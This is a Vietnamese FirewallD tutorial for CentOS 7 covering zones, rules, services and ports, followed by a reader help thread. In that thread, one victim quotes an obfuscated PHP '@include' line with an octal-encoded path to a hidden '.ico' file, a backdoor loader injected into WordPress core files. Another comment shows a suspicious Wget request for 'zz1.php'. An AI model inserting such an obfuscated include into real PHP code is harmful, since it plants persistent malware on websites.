FirewallD là giải pháp tường lửa mạnh mẽ, toàn diện được cài đặt mặc định trên RHEL 7 và CentOS 7, nhằm thay thế Iptables với những khác biệt cơ bản:
- FirewallD sử dụng “zones” và “services” thay vì “chain” và “rules” trong Iptables.
- FirewallD quản lý các quy tắc được thiết lập tự động, có tác dụng ngay lập tức mà không làm mất đi các kết nối và session hiện có.
Lưu ý: Nếu bạn ưa thích Iptables, tham khảo Hướng dẫn sử dụng Iptables của HocVPS.
Trong bài viết này, HocVPS sẽ hướng dẫn cách thiết lập và quản lý hệ thống tường lửa cho VPS với công cụ quản trị FirewallD.
Nội dung bài viết
1. Các khái niệm cơ bản trong FirewallD
1.2. Hiệu lực của các quy tắc Runtime/Permanent
1. Các khái niệm cơ bản trong FirewallD
Trước khi thực sự dùng đến FirewallD để quản lý tường lửa, hãy cùng làm quen với các khái niệm cơ bản: Zone và thời gian hiệu lực của quy tắc.
1.1. Zone
Trong FirewallD, zone là một nhóm các quy tắc nhằm chỉ ra những luồng dữ liệu được cho phép, dựa trên mức độ tin tưởng của điểm xuất phát luồng dữ liệu đó trong hệ thống mạng. Để sử dụng, bạn có thể lựa chọn zone mặc đinh, thiết lập các quy tắc trong zone hay chỉ định giao diện mạng(Network Interface) để quy định hành vi được cho phép
Các zone được xác định trước theo mức độ tin cậy, theo thứ tự từ “ít-tin-cậy-nhất” đến “đáng-tin-cậy-nhất”:
- drop: ít tin cậy nhất – toàn bộ các kết nối đến sẽ bị từ chối mà không phản hồi, chỉ cho phép duy nhất kết nối đi ra.
- block: tương tự như drop nhưng các kết nối đến bị từ chối và phản hồi bằng tin nhắn từ icmp-host-prohibited (hoặc icmp6-adm-prohibited).
- public: đại diện cho mạng công cộng, không đáng tin cậy. Các máy tính/services khác không được tin tưởng trong hệ thống nhưng vẫn cho phép các kết nối đến trên cơ sở chọn từng trường hợp cụ thể.
- external: hệ thống mạng bên ngoài trong trường hợp bạn sử dụng tường lửa làm gateway, được cấu hình giả lập NAT để giữ bảo mật mạng nội bộ mà vẫn có thể truy cập.
- internal: đối lập với external zone, sử dụng cho phần nội bộ của gateway. Các máy tính/services thuộc zone này thì khá đáng tin cậy.
- dmz: sử dụng cho các máy tính/service trong khu vực DMZ(Demilitarized) – cách ly không cho phép truy cập vào phần còn lại của hệ thống mạng, chỉ cho phép một số kết nối đến nhất định.
- work: sử dụng trong công việc, tin tưởng hầu hết các máy tính và một vài services được cho phép hoạt động.
- home: môi trường gia đình – tin tưởng hầu hết các máy tính khác và thêm một vài services được cho phép hoạt động.
- trusted: đáng tin cậy nhất – tin tưởng toàn bộ thiết bị trong hệ thống.
1.2. Hiệu lực của các quy tắc Runtime/Permanent
Trong FirewallD, các quy tắc được cấu hình thời gian hiệu lực Runtime hoặc Permanent.
- Runtime(mặc định): có tác dụng ngay lập tức, mất hiệu lực khi reboot hệ thống.
- Permanent: không áp dụng cho hệ thống đang chạy, cần reload mới có hiệu lực, tác dụng vĩnh viễn cả khi reboot hệ thống.
Ví dụ, thêm quy tắc cho cả thiết lập Runtime và Permanent:
# firewall-cmd --zone=public --add-service=http # firewall-cmd --zone=public --add-service=http --permanent # firewall-cmd --reload
Việc Restart/Reload sẽ hủy bộ các thiết lập Runtime đồng thời áp dụng thiết lập Permanent mà không hề phá vỡ các kết nối và session hiện tại. Điều này giúp kiểm tra hoạt động của các quy tắc trên tường lửa và dễ dàng khởi động lại nếu có vấn đề xảy ra.
Lưu ý: Các ví dụ thiết lập trong bài sử dụng cả Runtime và Permanent.
2. Cài đặt FirewallD
– FirewallD được cài đặt mặc định trên CentOS 7. Cài đặt nếu chưa có:
# yum install firewalld
– Khởi động FirewallD:
# systemctl start firewalld
– Kiểm tra tình trạng hoạt động
# systemctl status firewalld
● firewalld.service - firewalld - dynamic firewall daemon
Loaded: loaded (/usr/lib/systemd/system/firewalld.service; disabled; vendor preset: enabled)
Active: active (running) since Wed 2017-12-13 16:43:20 +07; 30s ago
Docs: man:firewalld(1)
Main PID: 12696 (firewalld)
CGroup: /system.slice/firewalld.service
└─12696 /usr/bin/python -Es /usr/sbin/firewalld --nofork --nopid
# systemctl is-active firewalld active
# firewall-cmd --state running
– Thiết lập FirewallD khởi động cùng hệ thống
# systemctl enable firewalld
Kiểm tra lại :
# systemctl is-enabled firewalld enabled
Ban đầu, bạn không nên cho phép FirewallD khởi động cùng hệ thống cũng như thiết lập Permanent, tránh bị khóa khỏi hệ thống nếu thiết lập sai. Chỉ thiết lập như vậy khi bạn đã hoàn thành các quy tắc tường lửa cũng như test cẩn thận.
– Khởi động lại
# systemctl restart firewalld # firewall-cmd --reload
– Dừng và vô hiệu hóa FirewallD
# systemctl stop firewalld # systemctl disable firewalld
3. Cấu hình FirewallD
3.1. Thiết lập các Zone
– Liệt kê tất cả các zone trong hệ thống
# firewall-cmd --get-zones block dmz drop external home internal public trusted work
– Kiểm tra zone mặc định
# firewall-cmd --get-default-zone public
– Kiểm tra zone active (được sử dụng bởi giao diện mạng)
Vì FirewallD chưa được thiết lập bất kỳ quy tắc nào nên zone mặc định cũng đồng thời là zone duy nhất được kích hoạt, điều khiển mọi luồng dữ liệu.
# firewall-cmd --get-active-zones public interfaces: eth0
– Thay đổi zone mặc định, ví dụ thành home:
# firewall-cmd --set-default-zone=home
success
3.2. Thiết lập các quy tắc
Trước khi thiết lập các quy tắc mới, hãy cùng HocVPS kiểm tra các quy tắc hiện tại:
– Liệt kê toàn bộ các quy tắc của các zones:
# firewall-cmd --list-all-zones
– Liệt kê toàn bộ các quy tắc trong zone mặc định và zone active
# firewall-cmd --list-all public (active) target: default icmp-block-inversion: no interfaces: eth0 sources: services: ssh dhcpv6-client ports: protocols: masquerade: no forward-ports: source-ports: icmp-blocks: rich rules:
Kết quả cho thấy public là zone mặc định đang được kích hoạt, liên kết với card mạng eth0 và cho phép DHCP cùng SSH.
– Liệt kê toàn bộ các quy tắc trong một zone cụ thể, ví dụ home
# firewall-cmd --zone=home --list-all
home
target: default
icmp-block-inversion: no
interfaces:
sources:
services: ssh mdns samba-client dhcpv6-client
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:
– Liệt kê danh sách services/port được cho phép trong zone cụ thể:
# firewall-cmd --zone=public --list-services # firewall-cmd --zone=public --list-ports
a. Thiết lập cho Service
Đây chính là điểm khác biệt của FirewallD so với Iptables – quản lý thông qua các services. Việc thiết lập tường lửa đã trở nên dễ dàng hơn bao giờ hết – chỉ việc thêm các services vào zone đang sử dụng.
– Đầu tiên, xác định các services trên hệ thống:
# firewall-cmd --get-services RH-Satellite-6 amanda-client amanda-k5-client bacula bacula-client bitcoin bitcoin-rpc bitcoin-testnet bitcoin-testnet-rpc ceph ceph-mon cfengine condor-collector ctdb dhcp dhcpv6 dhcpv6-client dns docker-registry dropbox-lansync elasticsearch freeipa-ldap freeipa-ldaps freeipa-replication freeipa-trust ftp ganglia-client ganglia-master high-availability http https imap imaps ipp ipp-client ipsec iscsi-target kadmin kerberos kibana klogin kpasswd kshell ldap ldaps libvirt libvirt-tls managesieve mdns mosh mountd ms-wbt mssql mysql nfs nrpe ntp openvpn ovirt-imageio ovirt-storageconsole ovirt-vmconsole pmcd pmproxy pmwebapi pmwebapis pop3 pop3s postgresql privoxy proxy-dhcp ptp pulseaudio puppetmaster quassel radius rpc-bind rsh rsyncd samba samba-client sane sip sips smtp smtp-submission smtps snmp snmptrap spideroak-lansync squid ssh synergy syslog syslog-tls telnet tftp tftp-client tinc tor-socks transmission-client vdsm vnc-server wbem-https xmpp-bosh xmpp-client xmpp-local xmpp-server
Lưu ý: Biết thêm thông tin về service qua thông tin lưu tại /usr/lib/firewalld/services/
.
– Thiết lập cho phép services trên FirewallD, sử dụng
--add-service
:
# firewall-cmd --zone=public --add-service=http success # firewall-cmd --zone=public --add-service=http --permanent success
Ngay lập tức, zone “public” cho phép kết nối HTTP trên cổng 80. Kiểm tra lại
# firewall-cmd --zone=public --list-services
ssh dhcpv6-client http
– Vô hiệu hóa services trên FirewallD, sử dụng --remove-service
:
# firewall-cmd --zone=public --remove-service=http # firewall-cmd --zone=public --remove-service=http --permanent
b. Thiết lập cho Port
Trong trường hợp bạn thích quản lý theo cách truyền thống qua Port, FirewallD cũng hỗ trợ bạn điều đó.
– Mở Port với tham số --add-port
:
# firewall-cmd --zone=public --add-port=9999/tcp # firewall-cmd --zone=public --add-port=9999/tcp --permanent
Mở 1 dải port
# firewall-cmd --zone=public --add-port=4990-5000/tcp # firewall-cmd --zone=public --add-port=4990-5000/tcp --permanent
Kiểm tra lại
# firewall-cmd --zone=public --list-ports 9999/tcp 4990-5000/tcp
– Đóng Port với tham số --remove-port
:
# firewall-cmd --zone=public --remove-port=9999/tcp # firewall-cmd --zone=public --remove-port=9999/tcp --permanent
4. Cấu hình nâng cao
4.1. Tạo Zone riêng
Mặc dù, các zone có sẵn là quá đủ với nhu cầu sử dụng, bạn vẫn có thể tạo lập zone của riêng mình để mô tả rõ ràng hơn về các chức năng của chúng. Ví dụ, bạn có thể tạo riêng một zone cho webserver publicweb hay một zone cấu hình riêng cho DNS trong mạng nội bộ privateDNS. Bạn cần thiết lập Permanent khi thêm một zone.
# firewall-cmd --permanent --new-zone=publicweb success # firewall-cmd --permanent --new-zone=privateDNS success # firewall-cmd --reload success
Kiểm tra lại
# firewall-cmd --get-zones block dmz drop external home internal privateDNS public publicweb trusted work
Khi đã có zone thiết lập riêng, bạn có thể cấu hình như các zone thông thường: thiết lập mặc định, thêm quy tắc… Ví dụ:
# firewall-cmd --zone=publicweb --add-service=ssh --permanent # firewall-cmd --zone=publicweb --add-service=http --permanent # firewall-cmd --zone=publicweb --add-service=https --permanent
4.2. Định nghĩa services riêng trên FirewallD
Việc mở port trên tường lửa rất dễ dàng nhưng lại khiến bạn gặp khó khăn khi ghi nhớ các port và các services tương ứng. Vì vậy, khi có một services mới thêm vào hệ thống, bạn sẽ có 2 phương án:
- Mở Port của services đó trên FirewallD
- Tự định nghĩa services đó trên FirewallD
Ví dụ, HocVPS Admin Port có thể là 2017, 9999 hay 4 chữ số bất kì nào đó. Bạn sẽ tự định nghĩa servies hocvps-admin với port 9999.
– Tạo file định nghĩa riêng từ file chuẩn ban đầu
# cp /usr/lib/firewalld/services/ssh.xml /etc/firewalld/services/hocvps-admin.xml
– Chỉnh sửa để định nghĩa servies trên FirewallD
# nano /etc/firewalld/services/hocvps-admin.xml
<?xml version="1.0" encoding="utf-8"?> <service> <short>HocVPS-Admin</short> <description>Control HocVPS Admin Web Tool</description> <port protocol="tcp" port="9999"/> </service>
– Lưu lại và khởi động lại FirewallD
# firewall-cmd --reload
– Kiểm tra lại danh sách services:
# firewall-cmd --get-services
RH-Satellite-6 amanda-client amanda-k5-client bacula bacula-client bitcoin bitcoin-rpc bitcoin-testnet bitcoin-testnet-rpc ceph ceph-mon cfengine condor-collector ctdb dhcp dhcpv6 dhcpv6-client dns docker-registry dropbox-lansync elasticsearch freeipa-ldap freeipa-ldaps freeipa-replication freeipa-trust ftp ganglia-client ganglia-master high-availability hocvps-admin http https imap imaps ipp ipp-client ipsec iscsi-target kadmin kerberos kibana klogin kpasswd kshell ldap ldaps libvirt libvirt-tls managesieve mdns mosh mountd ms-wbt mssql mysql nfs nrpe ntp openvpn ovirt-imageio ovirt-storageconsole ovirt-vmconsole pmcd pmproxy pmwebapi pmwebapis pop3 pop3s postgresql privoxy proxy-dhcp ptp pulseaudio puppetmaster quassel radius rpc-bind rsh rsyncd samba samba-client sane sip sips smtp smtp-submission smtps snmp snmptrap spideroak-lansync squid ssh synergy syslog syslog-tls telnet tftp tftp-client tinc tor-socks transmission-client vdsm vnc-server wbem-https xmpp-bosh xmpp-client xmpp-local xmpp-server
Như vậy, hocvps-admin đã được thêm vào danh sách services của FirewallD. Bạn có thể thiết lập như các servies thông thường, bao gồm cả cho phép/chặn trong zone. Ví dụ:
# firewall-cmd --zone=public --add-service=hocvps-admin # firewall-cmd --zone=public --add-service=hocvps-admin --permanent
5. Kết luận
Có thể thấy, sử dụng tường lửa FirewallD trên CentOS 7 là không quá khó. Bạn đã có lượng kiến thức và kinh nghiệm đủ để thiết lập và quản trị hệ thống FirewallD trong nhu cầu sử dụng thông thường. Trong thời gian tới, HocVPS sẽ cập nhật thêm các cấu hình nâng cao trên FirewallD, các bạn cùng đón đọc nhé.
Cấu hình Fail2Ban bảo vệ SSH qua FirewallD thế nào vậy ad ?
Theo bài cũ thì
https://hocvps.com/cai-dat-fail2ban-tren-centos/
[sshd]
enabled = true
filter = sshd
action = iptables[name=SSH, port=ssh, protocol=tcp]
# sendmail-whois[name=SSH, dest=root, sender=fail2ban@example.com]
logpath = /var/log/secure
maxretry = 3
bantime = 3600
CSF và FirewallID khác nhau chỗ nào ạ? Nên dùng cái nào hơn ạ?
Mình search về tường lửa thấy ít các bài hướng dẫn firewalld so với Iptables nhỉ
Search tiếng Việt thì không có nhiều nguồn, bạn dùng tiếng Anh thì sẽ có nhiều bài hơn.
Hi admin, có cách nào để block 1 port đi ra không ad? Hiện tại server mình quản lý cho nhiều website, mình không muốn họ gửi email trong code php, nhưng họ gửi bằng gmail smtp của gmail. Nên mình không biết cách nào để ngăn họ lại. Tks ad.
Bạn dùng
--remove-service
để block smtp và smtps đóDùng cái này rồi có cần cài thêm các plugin bảo mật như itheme hay wordfence không ạ?
Cưú!!!
Mình dùng VPS OVH, chạy lệnh này giờ hết vô được luôn:
# systemctl enable firewalld
All website đều bị stop, SSH không thể truy cập. Mong cao nhân giúp đỡ!
Mình cũng bị tương tự như vậy, giờ ko tài nào vào dc SSH
Mình dùng rescure mode vào xử lý nên đã OK rồi bạn.
Bạn cũng boot vào rescure mode xem sao.
Dùng cái này rồi có cần cài thêm các plugin bảo mật như itheme hay wordfence không ạ?
Hocvps script tích hợp sẵn firewallID chưa ạ
Cầu cứu: em đang có 2 Website WordPress dùng theme và plugin bản quyền! Gần đây em bị dính một cái gì đó nó cứ chèn 1 đoạn mã vào file index & wp-setting, wp-config
Có dạng thế này:
@include “\057h\157m\145/\142a\172a\156t\145c\150.\143o\155/\160u\142l\151c\137h\164m\154/\167p\055c\157n\164e\156t\057a\146f\145g\147-\160a\162s\145r\163/\0566\146a\0651\146a\143.\151c\157”;
Em đã xử lý bằng cách:
– Lọc sạch file .icon – Xóa sạch các đoạn mã
– Xóa & upaload core wp mới
– Chmod 444, 3 file bên trên
– cài đặt Firewall
Nhưng kết quả sau 1 đêm nó lại như cũ & file . icon mới sẽ nằm ở 1 vị trí khác. Có khi 1 ngày xóa 2 lần
Mong admin & các anh em ai có kinh nghiệm trong vấn đề này hỗ trợ em với ạ!
Em chân thành cảm ơn
mình cũng bị vấn đề này không biết giải quyết thế nào mong được chỉ giáo xin cảm ơn ạ.
Hiện bên mình cũng bị như bạn, không biết mọi người có thể giúp mình với được không ạ xin cảm ơn
Các bác quản trị cho em hỏi chút với ạ
Em setup Centos 7 và Direct Admin.
Em đang dùng FirewallD.
Nay em muốn dùng FirewallD để chặn Brute Force Attack
Mong các bác giúp đỡ ạ
Với Brute Force Attack thì bạn có thể áp dụng các phương pháp sau. Ví dụ đang tấn công cổng SSH 22 để dò pass nhé
1. Chuyển cổng 22 sang 1 cổng khác không thông dụng, ví dụ 2222
2. Không sử dụng password, có thể dùng SSH Keys.
3. Giới hạn truy cập khi nhập sai, ví dụ 3 lần sai là chặn 1 giờ với Fail2Ban. Đặc biệt, Fail2Ban hoạt động trên rule của FirewallD nên bạn hoàn toàn yên tâm. Bạn có thể tham khảo bài viết này
https://serverfault.com/questions/683671/is-there-a-way-to-rate-limit-connection-attempts-with-firewalld
Còn bạn cần chặn truy cập cổng Admin của DA thì có thể áp dụng đồng thời phương án 1 và 3
Chào bác Việt Phương,
Cảm ơn bác đã hồi âm hỗ trợ câu hỏi của mình.
Do sự tiện lợi, mình không dùng SSH Keys mà dùng pass nên mình đã đổi cổng DA thành cổng khác.
Tuy nhiên vào DA thì thấy vẫn có thông báo có Brute Force Attack
Nay mình đang dùng FirewallD và muốn sử dụng Fail2Ban
Mình xem cái link bạn gửi nhưng ko hiểu lắm, với lại thấy họ nói đến iptables (Mình không thích dùng iptables mà thích dùng FirewallD hơn vì mình đang dùng Centos 7 ạ)
Bạn có thể chỉ cho mình thêm được không ạ
Ngay comment đầu tiên đó bạn
https://www.certdepot.net/rhel7-mitigate-http-attacks/
Nếu có hơn 30 lần truy cập trong 60s thì IP đó sẽ bị chặn truy cập và phải đợi 60s tiếp theo mới được phép truy cập lại
Các bác cho em hỏi
Nếu mình open service đó thì ko cần open port nữa đúng không ạ?
Ví dụ em đổi port ssh 22==>2233
Lúc đó em chạy lệnh
firewall-cmd –zone=publicweb –add-service=ssh –permanent
Lúc này có cần mở port 2233 nữa không ạ
Uhm, không cần nữa bạn nhé
150.95.110.224 – – [04/Jul/2018:11:53:03 +0700] “GET /zz1.php HTTP/1.0” 403 162 “-” “Wget/1.12 (linux-gnu)”
VPS của em liên tục chạy lệnh này. Ban đầu em không để ý ip, nhưng bây giờ em mới kiểm tra là ip vps.
Bác Phương tư vấn giúp em với, có khi nào vps em bị tấn công chiếm quyền luôn rồi không ?
#systemctl status firewalld
firewalld.service
Loaded: masked (/dev/null; bad)
Active: inactive (dead)
Warning: firewalld.service changed on disk. Run ‘systemctl daemon-reload’ to reload units.
#systemctl start firewalld
Failed to start firewalld.service: Unit is masked.
#systemctl is-enabled firewalld
masked
Trạng thái nó như thế này là bị sao thế bác admin ơi
Là firewalld đã bị tắt và không khởi động cùng hệ thống. Bạn cần sử dụng thì unmask rồi khởi động nhé. Có thể hệ thống bạn đang dùng Iptables nên FirewallD sẽ bị khóa
cảm ơn bạn mình unmask và enable lại thì ok rồi
lệnh unmask như thấ nào bạn
Bác Luân cho em hỏi,
Khách hàng của em có cái ip=xxx.xxxx.xxx.xxx và bị FirewallD nó block
Em phải stop FirewallD thì họ mới vào được FTP (với http web thì họ vào bình thường mà không cần stop FirewallD ạ)
Nay em muốn thêm cái ip của họ vào vùng an toàn
Nhờ bác chỉ giúp em cái lệnh với ạ
Mong hồi âm của bác
Bạn kiểm tra các rule của firewallD rồi remove nhé, chứ không phải là thêm vào vùng an toàn. Vì nếu có thiết lập như thế thì toàn bộ không vào được trừ ip XYZ nào đó
Chào bạn,
Cảm ơn bạn đã hồi âm.
Cái vps của mình như sau:
-Khách hàng của mình dùng IP tĩnh.
-Nếu stop firewalld thì khách hàng của mình vào FTP por 21 mình thuwngfowngf
-Nếu mình cho chạy firewalld thì họ không vào FTP được
– Web http://web thì họ vào được ko ảnh hưởng gì
-Bên mình thì vào được FTP cho dù vẫn bật firewalld
Như vậy việc họ không vào được FPT là do firewalld liên quan đến firewalld và IP tĩnh của họ.
Mong bạn chỉ giúp mình cách thêm Ip đó vào trường acept để ko bị block cho FTP ạ
Bạn mở FTP bằng port hay bằng service? Bạn thử cả 2 chưa? Cho mình trạng thái rule hiện tại
Chào bạn,
Sau khi cài xong FTP thì mình mở bằng port 21 ạ (Nếu ko mở port 21 thì ko dùng FTP được; sau khi mình mở xong thì FPT mới dùng được).
Mình mở bằng lệnh sau
# firewall-cmd –zone=public –add-port=21/tcp
# firewall-cmd –zone=public –add-port=21/tcp –permanent
Các trạng thái rule hiện tại của mình là:
#firewall-cmd –zone=public –list-services
dhcpv6-client ssh
# firewall-cmd –zone=public –list-ports
80/tcp 21/tcp
Mong bạn chỉ giúp cho mình với nhé. Mình cần cho Ip=123.xxx vào danh sách white ạ
Không giải quyết vấn đề vì white list thì các IP khác bị chặn mất. Mà rõ ràng như bạn thấy, port 80 cấu hình như port 21 mà khách bạn vẫn truy cập được qua port 80 (web).Bạn đã mở bằng service chưa, tức mở cho ftp
Còn thêm whitelist là source
https://unix.stackexchange.com/questions/159873/whitelist-source-ip-addresses-in-centos-7
firewall-cmd –permanent –zone=public –add-source=192.168.100.0/24
firewall-cmd –permanent –zone=public –add-source=192.168.222.123/32
…..
Nên, vấn đề mình nghi ngờ: Khách bạn đăng nhập FTP dùng phần mềm gì, cấu hình có giống thiết lập của bạn không. Mình nghi ngờ vấn đề này do có thể FileZilla ở PassiveMode
Chào bạn
Đúng là họ đang dùng FileZilla bạn à
Nhờ bạn chỉ cho mình cái fix lỗi này trên FileZilla với nhé
Cảm ơn bạn
Bạn đọc phần 3 nhé Cài đặt FTP Server đơn giản trên CentOS với ProFTPD
Và bạn cho họ đăng nhập FTP bằng user dạng nào? Hay user root luôn
VPS mình không dùng IPTABLES mà dùng firewalld
Vậy cấu hình đoạn này thì sửa tương ứng như thế nào vậy bạn
Nếu đã thiết lập tường lửa Iptables và chuyển ActiveMode mà vẫn không thể kết nối thì bạn thêm giá trị ip_conntrack_ftp vào /etc/sysconfig/iptables-config
Cụ thể là IPTABLES_MODULES=”ip_conntrack_ftp”. Sau đó tiến hành restart Iptables
Chỉ áp dụng CentOS 6 và nếu VPS không có module ip_conntrack_ftp trong hệ thống thì cần yêu cầu support thêm thủ công
Đoạn ý không cần thiết. Bạn thiết lập bên kết nối FileZilla thôi. Và User bạn tạo là Virtual User hay Linux User?
Mod có dự kiến khi nào update cho hocvps script không?
Hiện tại HocVPS dùng FirewallD cho bản CentOs7 rồi bạn nhé
Iptables đã bị loại bỏ rồi à Mod?
Uhm bạn, sử dụng Iptables cho CentOS 6 và FirewallD cho CentOS 7
Bài viết hay quá. Đúng là cái mình cần. Bác Luân luôn luôn viết bài 1 cách khoa học, ngắn gọn và dễ hiểu.
Cảm ơn bác Luân nhiều nhé